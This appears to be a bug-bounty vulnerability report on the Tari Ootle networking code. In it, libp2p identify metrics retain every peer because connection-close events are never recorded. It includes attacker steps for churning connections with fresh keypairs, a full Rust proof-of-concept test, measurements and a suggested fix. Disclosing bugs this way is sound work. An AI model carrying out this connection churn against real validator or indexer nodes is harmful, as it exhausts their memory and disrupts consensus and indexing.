Identify metrics retain every peer forever: unbounded memory growth on metrics-enabled validator/indexer nodes

Tested at commit f76d114179adac4564c14f5f7f874aace25a90b8.

Summary

Ootle's metrics wrapper forwards behaviour events to libp2p::metrics::Metrics. libp2p's identify metrics store each peer's full identify::Info in a private HashMap<PeerId, Info> when they record identify::Event::Received, and delete an entry only when they record SwarmEvent::ConnectionClosed { num_established: 0 }. The networking worker feeds the wrapper only TariNodeBehaviourEvents (on_behaviour_event → record_metrics); it handles SwarmEvents itself in on_swarm_event and never passes any swarm event to the metrics object, and the wrapper has no Recorder<SwarmEvent> implementation. The only eviction path therefore never runs: every peer that ever completes an identify exchange remains in the map (public key, agent version, protocol list, listen addresses, observed address) for the lifetime of the process. Identify runs automatically on every established libp2p connection and needs no application protocol, registration, fee or application message: a stock libp2p node that connects with a fresh keypair, answers identify, and disconnects is enough. The map is keyed by PeerId, so rotating keys defeats overwrite. Identify frames are capped at 4096 bytes, giving an attacker roughly 4 KiB of attacker-chosen strings retained per connection plus map overhead. The default validator and indexer builds enable the metrics feature, so default deployments are affected; the PoC measures 8,000 churned peers retaining ~48 MB (≈6.2 KB/peer with a 3 KB agent version), and the growth has no upper bound.

Affected code (at target commit)

• Tier: 2
• Crate: tari_networking (networking/core); supporting tari_swarm (networking/swarm)
• File: networking/core/src/worker.rs
• Function(s): NetworkingWorker::on_behaviour_event (calls record_metrics for behaviour events only, lines 576–577), NetworkingWorker::record_metrics (lines 831–836), NetworkingWorker::on_swarm_event (ConnectionClosed is handled at line 507 and never reaches the metrics object). Supporting: networking/swarm/src/metrics.rs — impl Recorder<TariNodeBehaviourEvent<TCodec>> for Metrics has arms only for behaviour events, and Metrics::new wraps libp2p::metrics::Metrics. Relevant dependency behaviour (libp2p fork revision used by the workspace,

misc/metrics/src/identify.rs):

• Recorder<libp2p_identify::Event>::record inserts Info into Peers(Arc<Mutex<HashMap<PeerId, Info>>>) on Event::Received.
• Recorder<SwarmEvent<TBvEv>>::record removes the entry only on SwarmEvent::ConnectionClosed { num_established: 0 }.
• Peers::remove has no other caller. There is no bound, age-out or capacity limit on the map. Feature enablement: applications/tari_validator_node/Cargo.toml has

default = ["metrics", "web_ui"], applications/tari_indexer/Cargo.toml has default = ["web_ui", "metrics"]; both call network_builder.with_metrics(metrics_registry) under the feature. tari_swarm's metrics feature enables libp2p/metrics.

Attacker position & attack steps

Position: any peer on the p2p network (no validator role, registration, stake or fee).

1. Run a stock libp2p node and connect to the victim's p2p listener (or accept a victim dial; identify runs on every established connection in either direction).
2. Complete the transport upgrade only. The victim's identify behaviour immediately exchanges Info on the new connection; no Ootle application protocol or message is involved. The attacker's identify response can fill the 4096-byte frame with attacker-chosen agent_version, protocol_version, protocol names, listen addresses and observed address.
3. Disconnect, generate a fresh keypair (PeerId), and repeat. Each identify response inserts a new map entry. The connection caps (256 established, 16 established per IP/64, 4 pending per IP, 8 pending per relay, 64 pending total) bound only concurrency, never cumulative churn, so sixteen concurrent loops from one IPv6 /64 — or a handful of addresses — sustain a high connection rate.
4. Memory grows by roughly 4–6 KiB per completed connection and is never reclaimed. At 100 connections/s a node accumulates about 1.5–2 GB per hour; a few million cheap connections exhaust a validator/indexer's RSS and the process is OOM-killed. A restart clears the map, but the attack resumes, and there is no on-chain or authentication cost.

Proof of concept

• PoC file(s): networking/swarm/tests/identify_metrics_leak.rs (new integration test; no src/ changes)
• Wiring: none beyond the existing metrics feature. prometheus-client is already an optional dependency of tari_swarm enabled by tari_swarm/metrics, so the test compiles with --features metrics; no dev-dependency was added.
• Command: RUSTC_WRAPPER=sccache CARGO_BUILD_JOBS=1 cargo test -p tari_swarm --features metrics --test identify_metrics_leak -- --nocapture
• Result (two consecutive runs, identical shape):

  running 2 tests
  after ConnectionClosed(12D3KooWGNoTrPnbuhrarAUpbbDxCbZjnVCL1AbHmEXLZQ6KzMLn, num_established=0): tari_swarm::metrics gauge=Some(1), libp2p::metrics control gauge=None
  test connection_close_does_not_evict_identify_metrics_entry ... ok
  PEERS=8000 agent_bytes=3000: retained identify gauge=Some(8000), listen gauge=Some(8000), RSS delta=48876 KiB (6256 bytes/peer)
  test synthetic_peer_churn_accumulates_identify_metrics_without_bound ... ok
  test result: ok. 2 passed; 0 failed; 0 ignored; 0 measured; 0 filtered out; finished in 1.75s

• Reading of the result:
  • synthetic_peer_churn_accumulates_identify_metrics_without_bound generates 8,000 fresh Ed25519 identities, builds identify::Info exactly as the identify protocol delivers it (including a 3,000-byte agent version), and feeds TariNodeBehaviourEvent::Identify(Event::Received) through the same metrics.record(&event) call the worker makes. The identify collector then reports 8,000 retained peers on the protocol, listen-address and observed-address gauges, and RSS rose by ~48 MB (≈6.2 KB/peer). Nothing evicts them.
  • connection_close_does_not_evict_identify_metrics_entry runs two real loopback swarms. The victim receives the peer's identify information automatically (no application message), records it through the Ootle wrapper, then closes the connection and observes ConnectionClosed { num_established: 0 }. The Ootle registry still reports the peer (gauge=1). A control libp2p::metrics::Metrics fed the identical Received and ConnectionClosed events reports no peer, proving the eviction path exists in the dependency and is simply not wired by Ootle.
  • The tests are written to pass while the bug is present. Against a fixed worker the end-to-end assertion tari_swarm::metrics gauge == Some(1) fails because the peer is evicted like the control.
• Run twice: the second run reported after ConnectionClosed(... num_established=0): tari_swarm::metrics gauge=Some(1), libp2p::metrics control gauge=None and PEERS=8000 agent_bytes=3000: retained identify gauge=Some(8000), listen gauge=Some(8000), RSS delta=48788 KiB (6244 bytes/peer), test result: ok. 2 passed; 0 failed; ... finished in 1.72s.

Full PoC source (embedded — copy-paste reproducible)

//   Copyright 2026 The Tari Project
//   SPDX-License-Identifier: BSD-3-Clause
//! PoC: libp2p's identify metrics keep an entry per identified peer until a
//! `SwarmEvent::ConnectionClosed` with `num_established == 0` is fed to
//! `libp2p::metrics::Metrics`. The Ootle networking worker only ever feeds
//! *behaviour* events to its `tari_swarm::metrics::Metrics` wrapper
//! (`NetworkingWorker::on_behaviour_event` -> `record_metrics`); it handles
//! `SwarmEvent::ConnectionClosed` itself and never records it. The identify event is
//! forwarded to libp2p's metrics and inserts the peer, but the only removal path is never
//! called, so every peer that ever completes an identify exchange is retained for the life
//! of the process.
//!
//! The test demonstrates both halves:
//!
//! 1. `synthetic_peer_churn_accumulates_identify_metrics_without_bound` records 8,000
//!    `identify::Event::Received` behaviour events through the same wrapper the worker uses.
//!    The identify gauges report 8,000 retained peers (protocol/listen/observed address), RSS
//!    grows by the retained payload, and nothing ever removes them.
//! 2. `connection_close_does_not_evict_identify_metrics_entry` runs two real loopback swarms,
//!    records the identify event that libp2p produces automatically (no application message
//!    is needed), then closes the connection. The same events are also recorded into a raw
//!    `libp2p::metrics::Metrics`, which *does* implement `Recorder<SwarmEvent>`: that control
//!    evicts the entry on `ConnectionClosed`, while the Ootle wrapper keeps it. This isolates
//!    the missing wiring rather than a libp2p bug.
//!
//! Run with:
//! `RUSTC_WRAPPER=sccache CARGO_BUILD_JOBS=1 cargo test -p tari_swarm --features metrics \
//!  --test identify_metrics_leak -- --nocapture`
#![cfg(feature = "metrics")]
use std::{collections::HashSet, time::Duration};
use libp2p::{
    Multiaddr,
    futures::StreamExt,
    identify,
    identity::Keypair,
    multiaddr::Protocol,
    swarm::{ConnectionId, SwarmEvent, dial_opts::DialOpts},
};
use prometheus_client::{encoding::text::encode, registry::Registry};
use tari_swarm::{
    TariNodeBehaviourEvent,
    config::Config,
    create_swarm,
    messaging::BytesCodec,
    metrics::{Metrics, Recorder},
};
use tokio::time::timeout;
fn encode_registry(registry: &Registry) -> String {
    let mut output = String::new();
    encode(&mut output, registry).expect("encode registry");
    output
}
/// Returns the value of a single-label gauge series, if present.
fn series_value(text: &str, metric: &str, label_key: &str, label_value: &str) -> Option<i64> {
    let needle = format!("{metric}{{{label_key}=\"{label_value}\"}}");
    text.lines()
        .find_map(|line| line.strip_prefix(&needle))
        .and_then(|rest| rest.trim().parse().ok())
}
/// Returns the value of the `remote_protocols` gauge series for `protocol`, if present.
fn protocol_gauge(text: &str, protocol: &str) -> Option<i64> {
    series_value(text, "libp2p_identify_remote_protocols", "protocol", protocol)
}
#[cfg(target_os = "linux")]
fn rss_kib() -> Option<u64> {
    let status = std::fs::read_to_string("/proc/self/status").ok()?;
    status
        .lines()
        .find(|line| line.starts_with("VmRSS:"))?
        .split_whitespace()
        .nth(1)?
        .parse()
        .ok()
}
#[cfg(not(target_os = "linux"))]
fn rss_kib() -> Option<u64> {
    None
}
/// Feeds identify events through exactly the path `NetworkingWorker` uses
/// (`on_behaviour_event` -> `metrics.record(event)`), for many distinct peers. Nothing removes
/// them, because the worker never records the matching `SwarmEvent::ConnectionClosed`.
#[test]
fn synthetic_peer_churn_accumulates_identify_metrics_without_bound() {
    const PEERS: usize = 8_000;
    const AGENT_BYTES: usize = 3_000;
    let mut registry = Registry::default();
    let metrics = Metrics::new(&mut registry);
    let protocol = libp2p::identify::PROTOCOL_NAME;
    let rss_before = rss_kib();
    for i in 0..PEERS {
        // A fresh PeerId costs one keypair, exactly as each churned connection does.
        let keypair = Keypair::generate_ed25519();
        let public_key = keypair.public();
        let peer_id = public_key.to_peer_id();
        let info = identify::Info {
            public_key,
            protocol_version: "tari/poc".to_string(),
            agent_version: format!("{}{}", "A".repeat(AGENT_BYTES), i),
            listen_addrs: vec![
                format!(
                    "/ip4/10.{}.{}.{}/tcp/{}",
                    (i >> 16) & 0xff,
                    (i >> 8) & 0xff,
                    i & 0xff,
                    10_000 + i
                )
                .parse()
                .expect("listen addr"),
            ],
            protocols: vec![protocol.clone()],
            observed_addr: "/ip4/127.0.0.1/tcp/4001".parse().expect("observed addr"),
            signed_peer_record: None,
        };
        let event: TariNodeBehaviourEvent<BytesCodec> =
            TariNodeBehaviourEvent::Identify(identify::Event::Received {
                connection_id: ConnectionId::new_unchecked(i),
                peer_id,
                info,
            });
        metrics.record(&event);
    }
    let text = encode_registry(&registry);
    let protocol = protocol.to_string();
    assert_eq!(
        protocol_gauge(&text, &protocol),
        Some(PEERS as i64),
        "all {PEERS} churned peers are still counted by the identify collector"
    );
    // `protocol_stack::as_string` reduces every address to its protocol stack (`/ip4/tcp`), so
    // the gauge value (not the series count) is the number of retained peers.
    assert_eq!(
        series_value(
            &text,
            "libp2p_identify_remote_listen_addresses",
            "listen_address",
            "/ip4/tcp"
        ),
        Some(PEERS as i64),
        "the identify collector still aggregates the listen addresses of all churned peers"
    );
    assert_eq!(
        series_value(
            &text,
            "libp2p_identify_local_observed_addresses",
            "observed_address",
            "/ip4/tcp"
        ),
        Some(PEERS as i64),
        "the identify collector still counts the observed address of all churned peers"
    );
    if let (Some(before), Some(after)) = (rss_before, rss_kib()) {
        let delta_kib = after.saturating_sub(before);
        eprintln!(
            "PEERS={PEERS} agent_bytes={AGENT_BYTES}: retained identify gauge={:?}, listen gauge={:?}, \
             RSS delta={delta_kib} KiB ({} bytes/peer)",
            protocol_gauge(&text, &protocol),
            series_value(
                &text,
                "libp2p_identify_remote_listen_addresses",
                "listen_address",
                "/ip4/tcp"
            ),
            delta_kib.saturating_mul(1024) / PEERS as u64,
        );
        // The 3,000-byte agent_version alone is 24 MB over 8,000 peers; allow for allocator
        // noise and only require a conservative fraction of the retained payload.
        assert!(
            delta_kib >= 8 * 1024,
            "expected at least 8 MiB of retained identify data, saw {delta_kib} KiB"
        );
    }
}
/// End-to-end: the identify exchange happens automatically on any connection, the Ootle
/// wrapper records it, and closing the connection does not evict it because the worker never
/// passes `SwarmEvent::ConnectionClosed` to the metrics wrapper (it handles that event itself).
#[tokio::test(flavor = "multi_thread", worker_threads = 4)]
async fn connection_close_does_not_evict_identify_metrics_entry() {
    // The exact object the networking worker builds in `with_metrics`.
    let mut registry = Registry::default();
    let metrics = Metrics::new(&mut registry);
    // Control: libp2p's own aggregate metrics, which implements `Recorder<SwarmEvent>`.
    let mut control_registry = Registry::default();
    let control = libp2p::metrics::Metrics::new(&mut control_registry);
    let a_key = Keypair::generate_ed25519();
    let a_id = a_key.public().to_peer_id();
    let b_key = Keypair::generate_ed25519();
    let b_id = b_key.public().to_peer_id();
    let config = Config {
        enable_mdns: false,
        ..Default::default()
    };
    let mut a = create_swarm::<BytesCodec>(a_key, HashSet::new(), config.clone()).expect("create victim swarm");
    let mut b = create_swarm::<BytesCodec>(b_key, HashSet::new(), config).expect("create peer swarm");
    a.listen_on("/ip4/127.0.0.1/tcp/0".parse().expect("listen addr"))
        .expect("listen_on");
    let dial_addr: Multiaddr = loop {
        match timeout(Duration::from_secs(10), a.select_next_some())
            .await
            .expect("new listen address")
        {
            SwarmEvent::NewListenAddr { address, .. }
                if address.iter().any(|p| matches!(p, Protocol::Tcp(_))) =>
            {
                break address.with(Protocol::P2p(a_id));
            },
            _ => {},
        }
    };
    b.dial(DialOpts::peer_id(a_id).addresses(vec![dial_addr]).build())
        .expect("dial");
    let deadline = tokio::time::Instant::now() + Duration::from_secs(20);
    let mut identified = false;
    let mut closed = false;
    while !closed {
        assert!(
            tokio::time::Instant::now() < deadline,
            "timed out: identified={identified} closed={closed}"
        );
        tokio::select! {
            event = a.select_next_some() => {
                match &event {
                    SwarmEvent::Behaviour(TariNodeBehaviourEvent::Identify(identify::Event::Received {
                        connection_id,
                        peer_id,
                        info,
                    })) if *peer_id == b_id => {
                        // 1. What the worker does: forward the behaviour event to the wrapper.
                        let behaviour_event: TariNodeBehaviourEvent<BytesCodec> =
                            TariNodeBehaviourEvent::Identify(identify::Event::Received {
                                connection_id: *connection_id,
                                peer_id: *peer_id,
                                info: info.clone(),
                            });
                        metrics.record(&behaviour_event);
                        // 2. Control: the same event plus the ConnectionClosed that follows.
                        control.record(&identify::Event::Received {
                            connection_id: *connection_id,
                            peer_id: *peer_id,
                            info: info.clone(),
                        });
                        identified = true;
                        let _ = a.disconnect_peer_id(b_id);
                    },
                    SwarmEvent::ConnectionClosed { peer_id, num_established, .. }
                        if *peer_id == b_id && *num_established == 0 =>
                    {
                        // The worker handles this event in `on_swarm_event` and never calls
                        // `record_metrics` for it. The control sink does get it, as a correct
                        // wiring would.
                        control.record(&event);
                        closed = true;
                    },
                    _ => {},
                }
            },
            _ = b.select_next_some() => {},
        }
    }
    assert!(identified, "the victim never received identify information from the peer");
    let tari_text = encode_registry(&registry);
    let control_text = encode_registry(&control_registry);
    let protocol = libp2p::identify::PROTOCOL_NAME.to_string();
    assert_eq!(
        protocol_gauge(&tari_text, &protocol),
        Some(1),
        "the Ootle metrics wrapper still counts the disconnected peer"
    );
    assert_eq!(
        protocol_gauge(&control_text, &protocol),
        None,
        "the control sink evicted the peer on ConnectionClosed, proving the removal path exists but is not wired"
    );
    eprintln!(
        "after ConnectionClosed({b_id}, num_established=0): tari_swarm::metrics gauge={:?}, \
         libp2p::metrics control gauge={:?}",
        protocol_gauge(&tari_text, &protocol),
        protocol_gauge(&control_text, &protocol),
    );
}

Claimed severity & impact

• Severity: Medium (impact table: disproportionate resource abuse / remote availability DoS; the attacker's work is far below the node's, but the exhaustion is gradual and recoverable by restart, so it is not High).
• CWE: CWE-401 (Missing Release of Memory after Effective Lifetime), secondary CWE-770 (Allocation of Resources Without Limits or Throttling).
• Impact: an unauthenticated p2p peer can grow a validator's or indexer's RSS without bound by churning connections. Every completed identify exchange permanently retains up to ~4 KiB of attacker-chosen data plus map overhead; the PoC measures ~6.2 KiB/peer. Sustained churn eventually OOM-kills the process, interrupting consensus participation / indexing until a restart, after which the attack can be repeated. No key material or state is corrupted.
• CVSS v4 vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N (CVSS-B 8.7; the program's impact table governs on the border and rates the sustained, recoverable availability loss Medium).

Duplicate check

No public advisory or PR covers this root. PR #2896 bounds relay candidates learned from untrusted identify claims and GHSA-7h97-fwqj-6qpm covers RPC session-map retention; neither wires SwarmEvent::ConnectionClosed into the p2p metrics recorder, so the identify peer map remains unbounded.

Suggested fix (optional)

Implement Recorder<SwarmEvent<TariNodeBehaviourEvent<TCodec>>> for tari_swarm::metrics::Metrics, forwarding to self.libp2p_metrics.record(event), and call it at the start of NetworkingWorker::on_swarm_event when the metrics feature is enabled (mirroring the existing record_metrics call on the behaviour path). libp2p-identify then evicts the peer on ConnectionClosed { num_established: 0 }. A narrower fix is to forward only ConnectionClosed to the wrapped libp2p_metrics; that is sufficient to release the entry. Defence in depth: cap the retained identify peer count or stop recording the identify payload entirely.

Compliance

• In-scope crate/tier: yes — tari_networking (networking/core) and tari_swarm (networking/swarm), Tier 2 (Networking).
• Trust model position: any peer on the p2p network.
• Tested via unit/integration test against the target commit — no public infrastructure used.
• Environment notes: loopback-only integration test; no sandbox-specific environment variables needed. The RSS check reads /proc/self/status on Linux and is skipped on other platforms.
• Payout address: 12vX5tebEb1XEAT7rtS49PTeeWpBczMVAgPe1NWnUr7xYVLRvg6DiZxF6qk3QxXkVs5i9rtrcMAgJx6hXbpF9odTqN

Notes / attacker cost / realism

• Attacker cost: one TCP/noise/yamux connection and an automatically answered identify exchange per retained entry; no application message, fee, registration or validator role. The connection caps limit simultaneous connections, not cumulative churn, and a fresh keypair per connection makes every entry distinct.
• Size: identify messages are capped at 4096 bytes, so ~4 KiB is retained per entry (measured 6.2 KiB/peer including allocator overhead). One million churned connections is roughly 4–6 GB of permanently retained heap.
• The synthetic half of the PoC isolates the accumulation path using real identities; the loopback half proves libp2p performs identify automatically and that the eviction path exists in the dependency but is not wired by Ootle.
• Default validator and indexer builds enable metrics; a build with --no-default-features (metrics off) is unaffected, but that is the only mitigation short of a restart.
• Re-verified at f76d11417: networking/core/src/worker.rs and networking/swarm/src/metrics.rs are byte-identical to the original test commit, and both PoC tests passed twice at the new target (8,000 peers retained; RSS +48.6 MB; live close keeps the Ootle gauge at 1 while the libp2p control evicts).